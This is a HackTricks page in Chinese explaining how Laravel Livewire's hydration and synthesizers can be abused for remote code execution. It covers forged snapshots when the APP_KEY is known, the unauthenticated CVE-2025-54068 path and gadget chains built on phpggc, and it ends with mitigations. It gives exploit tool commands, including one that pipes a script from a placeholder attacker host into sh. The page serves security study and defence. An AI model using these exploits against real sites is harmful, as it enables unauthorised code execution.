Laravel Livewire Hydration & Synthesizer Abuse

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Livewire 状态机回顾

Livewire 3 组件通过包含 datamemo 和校验和的 快照 交换它们的状态。每次对 /livewire/update 的 POST 都会在服务器端重新构建 JSON 快照,并执行排队的 calls/updates

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

任何持有 APP_KEY(用于派生 $hashKey)的人因此可以通过重新计算 HMAC 来伪造任意快照。

复杂属性被编码为 合成元组,由 Livewire\Drawer\BaseUtils::isSyntheticTuple() 检测;每个元组为 [value, {"s":"<key>", ...meta}]。hydration 核心简单地将每个元组委派给 HandleComponents::$propertySynthesizers 中选定的 synth,并对其子项递归:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

这种递归设计使得 Livewire 成为一个 通用对象实例化引擎,一旦攻击者控制了元组的元数据或在递归过程中处理的任意嵌套元组。

能提供 gadget 原语的 Synthesizers

Synthesizer攻击者可控的行为
CollectionSynth (clctn)在为每个子元素重新注入后实例化 new $meta['class']($value)。任何接受数组构造器的类都可以被创建,并且每个项本身也可以是一个合成元组。
FormObjectSynth (form)调用 new $meta['class']($component, $path),然后通过 $hydrateChild 将攻击者可控子元素的每个 public 属性赋值。接受两个松散类型参数(或带默认参数)的构造函数足以访问任意 public 属性。
ModelSynth (mdl)当 meta 中缺少 key 时,它执行 return new $class;,允许对攻击者可控的任意类进行零参数实例化。

由于 synths 会对每个嵌套元素调用 $hydrateChild,可以通过递归叠加元组来构建任意的 gadget 图。

APP_KEY 已知时伪造快照

  1. 捕获一个合法的 /livewire/update 请求并解码 components[0].snapshot
  2. 注入指向 gadget 类的嵌套元组,并重新计算 checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)
  3. 重新编码快照,保持 _token/memo 不变,然后重放该请求。

一个最小的执行证明使用 Guzzle’s FnStreamFlysystem’s ShardedPrefixPublicUrlGenerator。一个元组用构造器数据 { "__toString": "phpinfo" } 实例化 FnStream,下一个元组用 [FnStreamInstance] 作为 $prefixes 实例化 ShardedPrefixPublicUrlGenerator。当 Flysystem 将每个前缀强制转换为 string 时,PHP 会调用攻击者提供的 __toString callable,从而在无参数的情况下调用任意函数。

从函数调用到完整的 RCE

利用 Livewire 的实例化原语,Synacktiv 改编了 phpggc 的 Laravel/RCE4 链,使得在 hydration 过程中启动的对象其 public Queueable 状态会触发反序列化:

  1. Queueable trait – 任何使用 Illuminate\Bus\Queueable 的对象都会暴露 public $chained,并在 dispatchNextJobInChain() 中执行 unserialize(array_shift($this->chained))
  2. BroadcastEvent wrapper – 通过 CollectionSynth / FormObjectSynth 实例化 Illuminate\Broadcasting\BroadcastEvent(实现 ShouldQueue),并填充其 public $chained
  3. phpggc Laravel/RCE4Adapted – 存储在 $chained[0] 的序列化 blob 构建出 PendingBroadcast -> Validator -> SerializableClosure\Serializers\SignedSigned::__invoke() 最终调用 call_user_func_array($closure, $args),从而能够执行 system($cmd)
  4. Stealth termination – 通过提供第二个 FnStream callable(例如 [new Laravel\Prompts\Terminal(), 'exit']),请求以 exit() 结束而不是抛出杂乱的异常,从而保持 HTTP 响应干净。

自动化快照伪造

synacktiv/laravel-crypto-killer 现在提供了一个 livewire 模式,可以将所有步骤串联在一起:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

该工具解析捕获的快照,注入 gadget 元组,重新计算校验和,并打印出一个可直接发送到 /livewire/update 的 payload。

CVE-2025-54068 – RCE without APP_KEY

updates 会在快照校验和被验证 之后 合并到组件状态。如果快照内的某个属性是(或变成)一个 synthetic tuple,Livewire 会在填充攻击者控制的 update 值时重用它的 meta:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

利用流程:

  1. 找到一个具有未类型化 public 属性的 Livewire 组件(例如 public $count;)。
  2. 发送一次更新,将该属性设为 []。下一次 snapshot 会把它存成 [[], {"s": "arr"}]
  3. 构造另一个包含 updates 的 payload,使该属性包含深度嵌套的数组,嵌入形如 [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ] 的元组。
  4. 在递归过程中,hydrate() 会独立评估每个嵌套的子项,因此攻击者选择的 synth keys/classes 会被采纳,即使外层元组和 checksum 从未改变。
  5. 重用相同的 CollectionSynth/FormObjectSynth 原语来实例化一个 Queueable gadget,其 $chained[0] 包含 phpggc payload。Livewire 处理伪造的 updates,调用 dispatchNextJobInChain(),并在不知道 APP_KEY 的情况下达到 system(<cmd>)

关键原因:

  • updates 不在 snapshot checksum 的覆盖范围内。
  • getMetaForPath() 信任该属性原先存在的任何 synth 元数据,即使攻击者此前通过弱类型把它强制成元组。
  • 递归加上弱类型让每个嵌套数组都能被解释为一个全新的元组,因此任意 synth keys 和任意类最终都会到达 hydration 阶段。

Livepyre – 端到端利用

Livepyre 自动化了既无 APP_KEY 的 CVE 路径和带签名快照的利用路径:

  • 通过解析 <script src="/livewire/livewire.js?id=HASH"> 来指纹化已部署的 Livewire 版本,并将该 hash 映射到有漏洞的发行版。
  • 通过重放正常操作并提取 components[].snapshot 来收集基线 snapshots。
  • 生成 updates-only 的 payload(CVE-2025-54068),或生成包含 phpggc 链的伪造 snapshot(已知 APP_KEY)。

典型用法:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check 运行非破坏性探测,-F 跳过版本门控,-H-P 添加自定义头或代理,--function/--param 自定义 gadget chain 调用的 php 函数。

防御注意事项

  • 升级到已修复的 Livewire 构建(根据厂商通告为 >= 3.6.4)并部署针对 CVE-2025-54068 的厂商补丁。
  • 避免在 Livewire 组件中使用弱类型的公共属性;显式的标量类型可以防止属性值被强制转换为数组/元组。
  • 只注册真正需要的 synthesizers,并将用户可控的元数据 ($meta['class']) 视为不受信任。
  • 拒绝会改变属性 JSON 类型的更新(例如 scalar -> array),除非明确允许,并且应重新推导 synth metadata,而不是重用已陈旧的元组。
  • 在任何泄露后应立即更换 APP_KEY,因为无论代码库如何修补,它都能使离线快照伪造成为可能。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks